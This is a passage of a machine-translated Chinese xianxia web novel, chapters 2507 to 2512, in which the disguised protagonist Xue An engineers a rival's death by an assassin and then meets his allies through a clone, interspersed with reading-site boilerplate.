    "Okay, he''s just a shopkeeper, why are you embarrassing him?"


    With that, Xue An stepped forward and smiled gently at the shop''s second person.


    It''s just that with this violent body shape and appearance, no matter how gentle the smile is, it is full of scorn.


    At least this shop Xiaoer couldn''t help but tremble all over.


    "Don''t be afraid, we are not bad guys. We just passed by here and smelled the scent, so we plan to try your craftsmanship!"


    "But... but there really is no place anymore, all the single rooms are already occupied!" The shop''s little Er cowered.


    "Asshole thing, dare to quibble?" Tong Chengjin wanted to scold again.


    Xue An waved his hand motionlessly, blocking all the words behind him, and then Xue An stretched out his hand and took out a spiritual crystal.


    "It doesn''t matter if you don''t have a single room, as long as you have a place to place a few tables, this is for you, it''s compensation for the slap just now!"


    The shop''s second child tremblingly took the spirit crystal and found that it was not a common product. He couldn''t help but feel happy, and then nodded at Xue An.


    "In this case, this uncle, please follow me, let me tell the shopkeeper, and arrange a place for you!"


    "Okay. It''s time to work!"


    With that said, Xue An followed the shop''s Xiaoer and walked into the restaurant, leaving the group of people standing on the ground and staring at each other.


    "What''s the matter with the master of Dazhai? How can you be so polite to an inconspicuous shopkeeper?"


    "Who knows, don''t care about him, hurry in, I''m **** hungry!"


    The crowd rushed to this restaurant in a sudden burst.


    Only Tong Chengjin stood in place, his face pale.


    He really didn''t expect Xue An to embarrass himself with this method.


    In his opinion, the great village master did this obviously not for an ant-like shopkeeper, but to prevent himself from coming to the stage in public.


    This bastard... why is the method so sharp all of a sudden?


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2507 Intrigue) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2508： Yin man behind

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    At this moment, several of Tong Chengjin''s best friends quietly stepped forward.


    "Second Village Master, what shall we do now?"


    Tong Chengjin gritted his teeth and said: "What else can I do? Let''s go in together!"


    "But I think Dazhai''s doing this today is completely aimed at you!"


    "Of course I know, but the more I do this, the more I want him to see whose methods are more powerful! And if we just shrink back like this, wouldn''t all the previous efforts have been wiped out?"


    Tong Chengjin said coldly, and then walked into the restaurant.


    But just after all of them entered the restaurant, one person walked out on the corner of the street.


    The whole body of this person was shrouded in a black robe, only a pair of eyes were exposed, which seemed very mysterious.


    It was the previous descendant of the ghost country, the only remaining girl in the corpse family.


    now.


    She stared at the group of Liefengzhai who walked into the restaurant, and then whispered in a suspicious tone.


    "What''s the matter? Yesterday, the evil spirit on this great village master was about to overflow, why did it suddenly disappear today?"


    "No matter how much, this person is definitely a running dog of evil things. It''s just that he used to be so simple, he didn''t have the opportunity to get close to him. Today is a rare opportunity. I must bring him to justice in front of everyone, or get rid of one. Evil stray dog!"


    With that, the corpse-driving girl disappeared into the crowd.


    Since getting acquainted with Yang Jian that day and settled in the teahouse, she has been wandering in this Yunxiao City, just to find the trace of the evil thing, and then eliminate it, so as to alleviate some of the inner pain.


    It''s just that her strength is far less than Xue An, and without the help of the earth veins, she was wandering around the city purely by luck, how could she find traces of evil things.


    But by coincidence, she happened to pass by that small courtyard that day, and then by chance, she saw the violent face who walked down the small building.


    The violent Huarong at that time was shocking with evil spirits on his body.


    Therefore, the corpse girl recognized it at a glance, and then listed it as a kill target.


    Unfortunately, this violent Huarong also knew that his goal at that time was too conspicuous, so he kept hiding in the small courtyard and refused to show his face.


    The corpse girl was unable to enter it after several attempts. When she was at a loss to do anything, she did not expect that today this "violent Huarong" would come out on her own initiative.


    Not only came out, but also swaggered into the restaurant to eat.


    This was a once-in-a-lifetime opportunity for the corpse girl, so she immediately sneaked into this restaurant.


    It may be that the spiritual crystal is indeed amazing. The little second of this famous shop has arranged a few tables in the corner of the hall very quickly.


    Although the place is slightly cramped, they can still sit down with these thugs.


    "Uncle, what do you want to eat?" The shop Xiaoer greeted him diligently.


    "Look at what special dishes you have, bring them all to me! Don''t be afraid to spend money, uncle, I have money!"


    With that, Xue An took the opportunity to throw a few spirit crystals on the table.


    "Yes, yes! I''ll go down and make arrangements for you!"


    The little Er from the shop picked up the spirit crystal on the table with a smile, and was busy preparing.


    After a while, the hot fragrant tea and snacks came up.


    Where did these thugs taste tea, they just kept pouring their mouths like boiled water.


    Xue An smiled and sat on the main seat, but the woman behind him was quite at a loss.


    She didn''t expect that the great village master would actually bring herself out this time.


    Don��t you always shut yourself in the room on the second floor in the past?


    As if feeling her anxiety, Xue An leaned on the chair and said lightly: "Pour the tea!"


    The woman came back to her senses and hurried forward to pour tea for Xue An.


    Maybe it was too nervous, or it was because so many people were staring at her. In short, the woman accidentally knocked over the teapot beside her in a rush.


    The piping hot tea immediately spilled over the table, and then it was accidentally hot to Tong Chengjin, who was sitting aside.


    Tong Chengjin was furious. Although this burn was nothing to him, to him, it was unforgivable for a lowly servant to dare to burn himself.


    So he raised his hand and slapped the woman.


    Snapped!


    This slap fan was so loud that at least the woman was staggered for several steps. If she hadn''t held the chair in time, the slap might have slapped her to the ground.


    The blood dripped down the corners of the mouth, and the audience was quiet.


    Tong Chengjin''s anger remained unresolved, "Any maid, don''t you have eyes? You dare to burn me, it''s really looking for death!"


    In the words, there is no concern about Xue An''s face. In fact, in his opinion, this woman is just a plaything to the Dazhai master.


    So no matter what, it is impossible for him to turn his face on himself for a plaything.


    That''s why he acted so unscrupulously, in order to show his majesty in front of everyone.


    But this time his wishful thinking was wrong.


    Just when he stood up and was about to violently attack the shivering woman again, he heard a cold voice coming from the side.


    "Tong Chengjin, you are so majestic!"


    Hearing this, Tong Chengjin, who was already aggressive, was taken aback and turned to look at Xue An.


    "Master, what do you mean?"


    "What do I mean? Haha! I also want to ask what you mean, this woman serves me, how can you just fight as you say?" Xue An said coldly.


    The atmosphere in the field instantly became serious.


    This group of originally grinning thugs all became silent.


    The woman didn''t expect that the main village master would stand up for herself, and she couldn''t help but froze in place.


    Xue An said indifferently: "How you beat her just now, please call her back now!"


    Tong Chengjin''s complexion suddenly became extremely ugly, staring at Xue An.


    "Da Zhaizhu, are you going to turn your face with your brothers for a woman?"


    "This is not to turn your face, but you shamelessly, understand?" Xue An said slowly.


    Tong Cheng Jingang wanted to speak. At this moment, he saw that the wall behind Xue An suddenly burst open, and then a figure rushed out of it and went straight to Xue An''s back to kill.


    All this happened extremely quickly, and almost everyone else hadn''t reacted, and the figure had already rushed behind Xue An.


    There was ecstasy in Tong Chengjin''s eyes.


    No matter who is going to assassinate Xue An, as long as the master of the great village dies, then he can sit on the top spot in the right place.


    But his joy came too early, and in this inadmissible time, Xue An who was sitting there suddenly disappeared.


    The assassin who rushed over was not close enough, and under the influence of inertia, he ran straight towards Tong Chengjin.


    puff!


    After a muffled sound, UU read www. A black blade of uukanshu.com pierced Tong Chengjin''s chest directly.


    In the severe pain, he roared, and only then did he see the true face of the assassin under his black robe.


    It turned out to be a monster whose half of the body was bones and the other half was a woman.


    Unfortunately, no matter what he finds, it doesn''t help, because at this moment, Xue An appeared beside him, and then yelled anxiously.


    "Quickly, catch the assassin, someone wants to kill the second village master!"


    Even though he shouted, Xue An didn''t even have the intention of chasing after him. On the contrary, his hand slammed forward.


    puff!


    Tong Chengjin''s body rushed forward again, and the black blade directly tore a huge wound on his back.


    Moreover, the black blade seemed to be highly poisonous, and Tong Chengjin couldn''t even shout. All the voices were blocked under his throat, and his whole body trembled unconsciously.


    And the last word he heard before he lost consciousness was Xue An''s roar.


    "Second Village Master, what''s wrong with you? You can''t die!"


    This... this bastard, actually yin me!


    With this last thought, Tong Chengjin fell into eternal darkness.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (the shady man behind Chapter 2508), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2509： Murder with a knife

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Everything that happened suddenly made the thugs who were present dumbfounded.


    It wasn''t until Tong Chengjin had fallen to the ground and died that the mobs close by did not wake up like a dream, and then roared towards the assassin.


    I don��t know who yelled in the chaos, "Protect the main village owner!"


    The remaining thugs immediately surrounded Xue An Tuan Tuan.


    Seeing this scene, the assassin who had originally intended to fight again and slashed Xue An under the sword knew that it was impossible to succeed in the assassination today, so he grunted.


    "To spare you not to die today!"


    After that, she turned around and rushed out of the restaurant, and disappeared into the sky.


    The chaos in the restaurant is still there, and the subordinates who originally followed Tong Chengjin, the master of the second village, simply can''t accept this fact.


    Therefore, some people cry bitterly, while others have a blank face.


    Xue An was amused when he saw it, and he didn''t have the slightest psychological pressure on Tong Chengjin.


    Because this guy did a lot of evil, he didn''t know how many wronged people he had, and he deserved it when he died at the hands of the corpse girl this time.


    That''s right.


    Xue An saw the origin of the assassin at a glance.


    Although he had never met the corpse-driving girl, Xue An still felt the aura fluctuations she left behind in the teahouse.


    So as soon as he left the house today, he noticed that someone was stalking him secretly, and after a little investigation with his spiritual mind, he found that the stalker was the descendant of the ghost country.


    After thinking about it for a while, Xue An understood the purpose of her stalking, and couldn''t help but sigh in secret.


    Speaking of which, this corpse-driving girl can be regarded as carrying a sea of ??blood and deep hatred, and it is understandable to make such an action.


    But Xue Anke didn''t want to really fight with this corpse-driving girl. If the avatar that he finally disguised himself was destroyed by his comrades in the same trench, wouldn''t it be laughable?


    But Xue An couldn''t really keep his head out, so under an inspiration, Xue An thought of the idea of ??borrowing a knife to kill someone.


    Now it seems that this method is obviously very successful, at least the second village master who is enough to secretly threaten his status is dead.


    And everyone on the scene saw that he died in the hands of the assassin, and he didn''t do anything the whole time, so that the followers of Tong Chengjin had nothing to say.


    And this is exactly what Xue An wanted.


    He certainly doesn''t care about the opinions of a group of ants, but now his identity is the master of the strong wind village, and this identity may be useful in the next Hundred Families Conference.


    For this reason, Xue An also needs to manage this identity well.


    So he can''t kill all these people directly. That way, it''s easy to arouse suspicion by other people, and may even reveal his whereabouts.


    And once the evil thing knows that the puppet under its control has actually been replaced by someone, it will be completely abandoned.


    Therefore, Xue An gave a light cough, and then stepped forward, pretending to be sad.


    "Okay, don''t cry everyone. Who would have thought that these assassins would be so cunning, they would sneak into the restaurant to assassinate them. Speaking of which, the second village master also died for me. I must find the assassin and avenge him! "


    In the end, Xue An''s face was full of determination, and this powerful aura also infected the fans of these two village masters.


    They looked at each other and finally fell to their knees.


    "Master of Dazhai!"


    Although the following words are not finished, the meaning is already obvious.


    Everyone knows that once the Lord of the Second Village dies, no one in the entire Liefeng Village can fight Xue An''s prestige.


    These people were attached to Tong Chengjin before and can ignore Xue An, but now that Tong Chengjin dies, he naturally has to consider his future fate.


    And Xue An''s last sentence must find revenge for the second village master at this moment, obviously showing them an attitude of soliciting.


    These people weren''t fools either. Naturally, they realized this, so they went down to the donkey and showed their allegiance to Xue An.


    Xue An smiled slightly, "They are all my own brothers, why are you guys, get up!"


    With his personal support, these people just stood up.


    Xue An said a few more words of relief, making all these people flattered and nodding frequently.


    Then Xue An just turned around and smiled: "Little Er!"


    "In the!"


    Xiao Er, who was hiding behind the counter, stood up tremblingly, his face pale as white paper.


    The assassination just now caused chaos in the entire restaurant, and almost all the guests on the first floor ran away.


    This shop Xiaoer felt desperate and knew that he was over.


    Although this incident did not arise from me, but after interrogating it, I knew that it was the uncles I was entertaining, so I had to be implicated.


    When the time comes, it''s good to roll out the bedding, and you have to make yourself pay a heavy price.


    So at this moment, he was remorseful and hated, but he didn''t dare to attack, so he could only stand in the distance and tremble.


    Xue An laughed and threw a few spirit crystals over.


    "This matter started because of us, these few spirit crystals are even compensation for you!"


    The shop''s little Er was stunned.


    He never dreamed that this gang of wicked uncles would actually compensate himself.


    In the midst of stunned effort, Xue An led the people out of the restaurant and walked away.


    Xiao Er leaned down and picked up the spirit crystal on the ground. When it was confirmed that it was true, his eyes could not help but gradually heat up.


    Although the gang of thugs in Liefengzhai didn''t understand why the owner of Dazhai had to compensate a shopkeeper, no one dared to express any objection to his approach after today''s incident.


    After all, these people are not all fools. The assassination just now revealed a lot of strangeness. There are smart people who have guessed something, but dare not show it at all, just secretly suspicious.


    How did the always reckless and rude Dazhai master suddenly become so insidious?


    Could it be...he had been pretending before?


    This idea makes many people feel chills.


    After all, if this were true, it would be terrible.


    Xue An naturally felt the awe from these thugs and couldn''t help but smile, knowing that his goal had been achieved.


    After returning to the small courtyard where they lived, the subordinates went back to their houses, and they all became much quieter.


    Xue An also came to the second floor residence. UU reading


    The woman graciously served Xue An with hot tea, and then respectfully stood aside and waited.


    After half a cup of tea, Xue An didn''t even lift his head, but said indifferently: "Okay, go down and rest too!"


    A word made the woman''s face pale.


    "Old... sir, the maidservant is not going anywhere, the maidservant still has to wait for you to sleep!"


    Xue An shook his head, "No, didn''t you always have nightmares before? It can be seen that you are under a lot of pressure, so let''s go and rest first!"


    The woman plopped and knelt down, stammering: "Master, I...I''m fine now, please don''t let me go!"


    He said, squatting his head.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2509 Borrowing a Knife to Kill), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2510： Wu Gu Army

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    Xue An sighed in his heart.


    He was also full of sympathy for this woman who was captured and abused by the violent Huarong, but it was impossible for her to wait in bed.


    And looking at what she looks like now, this woman is obviously afraid of abandoning her by herself.


    After all, in such a mob den, this woman''s only advantage is her body.


    So Xue An tried his best to soften his tone, "Get up, I have no plan to not want you, I just let you go down and take a good rest. After all, I have a lot of things to do in the past few days, and I don��t have time to pay attention to you. clear?"


    The woman raised her head, and when she saw Xue An''s gentle expression, she confirmed that she would not be abandoned, and she let out a sigh of relief.


    "Yes! The maidservant understands!"


    Then stood up and carefully exited the room.


    Xue An sat on the chair until the woman had already walked far away before letting out a sigh of relief.


    To be honest, he really wanted to kill all these guys in one go.


    After all, if these bandit bandits kill all of them, they might be wronged, but if you want to kill one and leave one, you will definitely miss the net.


    Especially this woman, who had obviously been taken captive before, had actually become a slave after this period of torture.


    It is precisely this that makes Xue An full of anger.


    Don''t worry!


    Everything must focus on eradicating these evil things!


    After the Hundreds Conference, these guys...never stay!


    An icy light flashed in Xue An''s eyes, and his murderous aura was almost substantial.


    Click!


    The teacup and teapot in front of him were all crushed, and the boiling tea inside was completely wiped out.


    A timid voice came from outside the house, "Master, what''s the matter?"


    The woman obviously didn''t dare to leave, but stood waiting outside the door, so she couldn''t help but ask softly after hearing the sound of the teacup cracking.


    Xue An smiled, "It''s okay, you go down and rest!"


    "Oh!"


    The woman''s footsteps drifted away.


    Xue An suddenly sensed something, his eyes flashed with brilliance, and then his ontological consciousness broke away from this clone, and instead came to the void hundreds of thousands of miles away in a mysterious way.


    At this moment, there is a large force marching here.


    The composition of this team is very peculiar. There are members of the Jingchu clan wearing navy blue costumes, as well as members of the Witch God Sect who describe terrible.


    It was the Witch God Sect and the Jingchu clan that went here from the land of Witch Gu.


    And in the huge star in the middle, the leader of the Witch God Sect sat on a high position with his eyes closed and meditated.


    As a saint, Shu Ling''er stood aside with her hands down, but her eyes kept drifting out of the porthole, with a faint look of expectation in her eyes.


    Since Xue An annihilated the leader of the witch **** cult and replaced him with his own role, the dilemma that Shu Linger had faced before has been solved.


    Not only solved the predicament, but with the support of Xue An''s clone, Shu Ling''er has become the leading figure of the Witch God Sect, even above the many elders of the Witch God Sect.


    But the more so, the more empty and restless in Shu Ling''er''s heart.


    Because the clone is the clone, it will never be possible to be as flexible as the main body.


    So Shu Ling''er was actually doing a lot of things, and Xue An''s clone just silently supported it behind his back.


    It is precisely because of this that Shu Ling''er feels uneasy.


    After all, what she was facing now was on the verge of getting out of control, especially after the Jingchu clan joined, everything became even more uncontrollable.


    The things she had to face every day made Shu Ling''er feel exhausted.


    But the "Witch God Sect Leader" who should have taken care of everything would just close his eyes and meditate here.


    That''s why Shu Linger''s heart was full of expectations, hoping to rush to Yunxiao City as soon as possible to meet Xue An.


    The huge cabin was extremely quiet, Shu Ling''er stood for a moment, and saw that Xue An''s clone did not wake up, she said lowly.


    "In that case, the subordinates will resign first!"


    With that, she turned around and was about to leave.


    But at this moment, I saw Xue An, who was sitting in distress, closed his eyes and meditated, suddenly opened his eyes, and then said lightly.


    "How''s it going?"


    This question caused Shu Ling''er, who had already walked to the cabin door, to shake her whole body, and immediately turned to look around.


    What greeted his eyes was a majestic face, and in his eyes, there was a gleam of wisdom that had been missing for a long time.


    Seeing this scene, Shu Linger immediately understood what she was doing, and hurriedly bowed her head.


    "Big... Your lord, are you back?"


    "Yeah!" Xue An nodded.


    Shu Ling''er''s face was full of joy, and she trembled: "Master Hui, everything has been going smoothly during this period of time, especially with the help of the Jingchu clan, we have completely controlled the land of witches and gu. And integrate all the forces that can be integrated!"


    "Therefore, it was delayed for a period of time, which led to the arrival now!"


    "Oh? Integrate all the forces that can be integrated?" Xue An was also taken aback.


    "Yes!"


    Then, through Shu Linger''s narration, Xue An knew what had happened.


    It turned out that after he left, the Mengzhu Nasha of the Mengzhu tribe led the whole group to join the Witch God Sect.


    The two merged into one, sweeping the entire land of Witch Gu with an unstoppable force, causing all the tribes to bow their heads.


    Now this team has gathered all the elite forces of the Jingchu clan and the Witch God Sect.


    After listening to the story, Xue An nodded.


    "You guys are interested!"


    Shu Ling''er was overjoyed, and hurriedly said, "This is not my own work. I can''t do all this without the help of the Mengzhu girl."


    With that, she took a careful look at Xue An, and she secretly breathed a sigh of relief when she saw approval in his eyes.


    Because she knew she was right.


    As someone who had fought against Xue An and then relied on, Shu Ling''er was seriously insecure.


    At the same time, she knew that no matter what she did, it was impossible for Xue An to truly trust herself.


    But Mengzhu Nasha is different.


    Now Shu Ling''er already knew what happened back then, especially the fact that Xue An abruptly promoted Meng Zhu Nasha to the position of God, which made Shu Ling''er full of envy.


    In her opinion, Xue An obviously looked at this Monzhu Nasha differently.


    So now I will speak and tentatively.


    really.


    Shu Ling''er, who thought she had seen through Xue An''s mind, whispered: "During this period of time, the Mengzhu girl often came to visit, but I have been blocking back on the ground that you are practicing in retreat. Should you call her over now? "


    Xue An took a deep look at this Shu Ling''er, and then said with a faint smile, "Why let her come over?"


    Shu Ling''er felt a little in her heart, then stammered: "I just... just think..."


    "Okay!" Xue An waved his hand, "Since I''m back, let her come over!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2510 Witch Gu Army), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2511： The current situation of the Mengzhu tribe

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    At this moment, Mengzhu Nasha is in a state of suffering from gains and losses, unable to extricate herself from it.


    In fact, since she left the land of Witch Gu, her mood became very unstable.


    Especially after entering the realm of Yin-Yang family, this state becomes more and more obvious.


    This can be seen from the fact that she spends a long time in the mirror every day.


    In response, Meng Zhumei, the high priest of the Mengzhu tribe, couldn''t help but sighed, then shook his head and smiled bitterly.


    Of course she knew why her saint was so upset.


    It''s all because of that boy.


    But Meng Zhumei was not optimistic about this relationship, because after seeing Xue An for the first time, she keenly felt that this young man was extremely determined and could never be easily moved.


    Therefore, in her opinion, all the feelings of Mengzhu Nasha are just wishful thinking, and it is basically impossible to get a response.


    But she did not say this, but chose silence.


    After all, things like feelings cannot be effective by persuasion unless you have personally experienced it.


    In contrast, she was more interested in the sudden change of attitude of the Witch God Sect.


    You must know that before this, the Jingchu clan represented by the Mengzhu tribe and this witch **** sect could hardly talk about harmony.


    After the intervention of the Witch God Sect caused a crisis in the Mengzhu tribe, and even after the gods they believed in had fallen, the atmosphere between the two became even more tense.


    To put it bluntly, if it weren''t for the strength of the Mengzhu tribe at that time, it was very likely that they would fight directly.


    But I never expected that it was such a domineering and arrogant existence, but suddenly a big change of 180 degrees took place.


    I still remember that when Mengzhu Nasha put forward the idea of ??contacting and forming an alliance with the Witch God Sect, almost the entire Mengzhu tribe expressed opposition.


    But all the opposition came to naught under Meng Zhu Nasha''s statement that it was Mr. Xue''s order.


    Meng Zhuxiong and the elders of many Mengzhu tribes are even ready to fight to the death.


    But I never expected that when Mengzhu Nasha''s letter was delivered to the Witch God Sect, the Witch God Sect actually reacted immediately.


    The saint of the Witch God Sect came here alone and expressed her sincere apologies for the misunderstandings that occurred before, and then concluded an alliance with the Mengzhu tribe.


    What happened after that was magical.


    Mengzhu Nasha, who had boarded the Moon Mother and guarded the position of God, seemed to be a different person, and the people who joined the Witch God Sect began to rectify the entire Jingchu clan.


    Although there were many twists and turns in the whole process, and many people believed that the Mengzhu tribe had abandoned the Jingchu clan, the final result was forcibly integrated.


    Since then, the Jingchu clan, which has been disintegrated for thousands of years, has miraculously reunited into one body, merged with the Witch God Sect, and formed a mighty army, heading straight to Yin Yang''s house.


    Because of this incident, many people in the Mengzhu tribe have regarded Mengzhu Nasha as the supreme existence.


    It is believed that under her leadership, the entire Mengzhu tribe can reach its current height.


    Only Meng Zhumei understood that all of this must originate from that man.


    After all, the change of the Witch God Sect began after Xue An disappeared for a while.


    Before leaving, Xue An personally instructed Mengzhu Nasha to join her with the Sorcerer Sect.


    If there is nothing strange in it, no one will believe it.


    But the key is how does this Mr. Xue do it?


    Meng Zhumei had secretly observed and found that the entire Witch God Sect had not changed much, and that it was the same group of people before.


    Only Shu Ling''er, a girl of the witch **** sect, has become a lot more powerful.


    In addition, the leader of the witch **** cult has become a lot more low-key, staying simple all day long, rarely showing up in front of others, and Shu Ling''er is in front of many things.


    But this is not a big change!


    Just as Meng Zhumei was puzzled, he walked into a waiter outside the hatch.


    "The high priest, the saint of the Sorcerer Sect suddenly visited and begged to see the Moon Mother to guard it."


    "Um?"


    Meng Zhumei was taken aback, Shu Linger came? Also asked to see the saint, what is she going to do?


    Although she was puzzled in her heart, she nodded immediately and said, "Please come in, I will go and notify Lord Moon Mother now!"


    "Yes!"


    The waiter turned around and went out, while Meng Zhumei came to the small temple temporarily built at the back of the cabin with doubts.


    At this moment, Mengzhu Nasha was sitting in a daze in front of the mirror.


    His eyes were obsessed and at a loss, and he didn''t even notice the incoming Meng Zhumei.


    Seeing this scene, Meng Zhumei couldn''t help but cough lightly.


    "Mother Moon God, the saint Shu Ling''er of the Sorcerer Sect, come to see you!"


    Mengzhu Nasha shook all over, and Xuan even woke up from the confusion.


    "Shu Ling''er is here?"


    "Yes!"


    "What did you say?"


    "Not mentioned!"


    "Well then, let her in!"


    Mengzhu Nasha gave an order, and then stood up, a faint holy moonlight appeared on her delicate and slightly immature face.


    Meng Zhumei didn''t understand why this saint of her own was so solemn, but she nodded and then turned around and went out.


    After a while, Shu Linger moved her waist and walked into the cabin.


    When she saw Meng Zhumei, Shu Linger couldn''t help smiling.


    "High priest, I have something to discuss with your Moon Mother Shou Na, where is she now?"


    Meng Zhumei pointed inside, "My Moon Mother God is waiting for Your Excellency in the temple behind!"


    Shu Ling''er nodded, and then stepped into the temple.


    Meng Zhumei was really curious, and wanted to know what the woman who is now in the witch **** sect of one and the same thing came from.


    So she walked to the door of the temple and listened carefully.


    It stands to reason that such an important place will have a shielding circle, but today is obviously an exception.


    Because before Meng Zhumei came to the door, she heard an exclamation from inside.


    "What did you say?"


    It was the voice of Mengzhu Nasha.


    Meng Zhumei''s heart tightened, and she subconsciously wanted to rush in, but reason stopped her.


    She didn''t believe that the saint of the witch **** sect dared to risk the world and guard her own moon mother.


    But what''s the matter with this exclamation?


    When she was puzzled, the door of the temple of UU Reading was slammed open, and then Mengzhu Nasha rushed out from the inside anxiously, without leaving a word, she went straight outside.


    Meng Zhumei didn''t know what was going on, and before she could even stop her, Meng Zhumei was gone.


    "This...what''s going on?" Meng Zhumei said dumbfounded.


    "Hehe, the high priest can rest assured. The moon mother guardian of your family was just a little excited when he heard the good news, and he will naturally come back later!"


    Shu Linger Shi Shiran walked out of the temple and said with a smile.


    "What good news?" Meng Zhumei couldn''t help asking.


    "Is this..." Shu Ling''er smiled mysteriously, "It''s not convenient to disclose!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2511 Status Quo of the Mengzhu Tribe), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2512： All parties gathered (part 1)

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    At the same time, Mengzhu Nasha, who was rushing to the Witch God Sect''s ship, was also full of enthusiasm.


    In fact, Shu Linger only said one sentence after finding her today, but it was this sentence that made Mengzhu Nasha no longer able to control herself.


    What Shu Linger said was very simple, with only four words.


    That''s how he came back!


    Then Mengzhu Nasha rushed here desperately, without even asking where she was.


    Because she knew very well that if Xue An came back, she would definitely come back in this way.


    In fact, she is a very smart girl. After Xue An asked her to join the Witch God Sect, she had a vague guess in her heart.


    And this speculation was confirmed after seeing the leader of the Witch God Sect.


    Although the concealment was very good, Meng Zhu Nasha could still keenly perceive a breath unique to Xue An in him.


    Combining the various deeds of the Witch God Sect, Mondruza made a bold inference.


    The leader of the Witch God Sect is definitely no longer the one before, but an existence that emerged from the incarnation of Xue An.


    This is why she repeatedly asked to see the leader of the witch **** cult later on.


    But the clone left by Xue An was good enough to deal with daily affairs, but had no ability to respond to such emergencies, so he simply refused.


    It is precisely because of this that during this period of time Mengzhu Nasha will be so painful and entangled.


    Because she thought she had done something wrong, so that Xue An didn''t want to see herself at all.


    It wasn''t until today that she heard the news from Shu Ling''er that she rushed over as if she had been reborn.


    There was no hindrance along the way, and soon she drove straight into the hall of the Sorcerer Sect.


    When I saw the figure standing on the high platform, although his face was not Xue An, but his eyes flashed with familiar light,


    Mengzhu Nasha only felt his eyes hot, and a thousand words instantly choked on her chest, and finally turned into a slightly choked greeting.


    "Mr. Xue!"


    Seeing Mengzhu Naza, whose eyes were red and she seemed to cry at any time, Xue An couldn''t help but feel a headache.


    For this straightforward Jingchu girl, he had no other thoughts in his heart other than appreciation.


    I also told her very clearly at the beginning, but the little girl was unexpectedly stubborn and didn''t plan to give up at all.


    Faced with this situation, Xue An had to suppress his temper and whispered: "Well, how is your progress during this time?"


    "Back to Mr. Xue, I have made rapid progress, and now I can master my supernatural powers proficiently!"


    Mengzhu Nasha said proudly, and then his eyes flashed, and a powerful breath emerged from her body.


    Only a little bit of Yuehua gathered above her head, forming an illusory and powerful figure.


    Upon seeing this, Xue An raised his eyebrows slightly, and was a little surprised in his heart.


    He really didn''t expect that this young girl entered the realm so fast, and in such a short period of time, she completely mastered the power of Yuehua, and looking at it now, it seemed that she was reuniting her own idol.


    When this figure has both figure, form and god, this Mengzhu Nasha can even surpass the previous moon mother Shouna and become the most powerful new **** of the Jingchu clan.


    It seemed that Xue An''s surprise was sensed, and the pride on Mengzhu Naza''s face became more and more intense.


    "Mr. Xue, I know that you asked me to contact the Sorcerer Sect for the upcoming Hundred Schools Convention, so during this period of time, I will forget about sleep and food and intensify my practice in order to make myself stronger, so that I can share some pressure for you!"


    At the end, the girl blushed a little, but her eyes were full of determination.


    Xue An was silent.


    Because he didn''t know how to respond to Mengzhu Nasha''s words.


    Although what she said was very simple, but after a little thought, she knew that she was able to make such a big improvement in such a short period of time, obviously at a great price.


    The purpose is to share the pressure for yourself.


    This left Xue An speechless, and had no choice but to sigh.


    "Thanks a lot!"


    "No hard work, all of this is my voluntary."


    Without waiting for the imaginary response, Mengzhu Nasha''s eyes were a little gloomy, but she still said categorically.


    "Cough cough." Xue An couldn''t help coughing slightly, and then changed the subject.


    "I heard that you unified the entire Jingchu clan with the cooperation of the Witch God Sect?"


    Mengzhu Nasha shook her head, "It''s not just the Jingchu clan, but the entire land of Witch Gu!"


    Then she seemed to have thought of something, and hurriedly said: "By the way, Mr. Xue, when we were unifying the Land of Witch Gu, we discovered something very surprising."


    "The corpse-chasing clan, who is as famous as our Jingchu clan, was actually destroyed by some unknown force. All the descendants of the ghost country were killed. After checking, it was discovered that these people actually killed each other!"


    "But all the secret corpses that the corpse clan relied on for fame have disappeared. This thing is too strange, so I blocked the news and didn''t tell you until today!"


    Xue An sighed softly after hearing this, "Well, I already know about this. The corpse-driving clan has indeed been destroyed, and it is indeed destroyed by the hands of some kind of power, but it has not been completely cut off. At least one The descendant successfully escaped, and she took away those secret corpses!"


    Mengzhu Nasha nodded, "If this is the case, that would be great!"


    Next, Xue An asked briefly about the recent affairs of Monzhu Nasha, and Monzhu Nasha answered them one by one.


    In the end, Mengzhu Nasha said with a serious face: "Mr. Xue, seeing the Hundreds Conference is about to be held, I don''t know what you want to do, so please let me know in advance, and I will be prepared!"


    Xue An smiled, "Now you don''t need to do anything, just enter Yunxiao City step by step, and I will contact you at that time!"


    Mengzhu Nasha nodded her head seemingly understanding, and wanted to ask something, but she suddenly sighed when she saw Xue An.


    "Well, UU reading , my ontological consciousness can''t be left for too long. During this time, if you have anything to do, discuss it with Shu Linger!"


    After all, the brilliance in Xue An''s eyes flashed, and then he lost the previous agility and became a lot sluggish.


    Mengzhunasha sighed secretly when she saw this, then bowed her head deeply, "If this is the case, then I will leave!"


    After that, she turned and left.


    When she walked out of the hall, she saw Shu Ling''er standing in front of the hall door, smiling at her.


    "Girl Mengzhu, did your lord have any orders?"


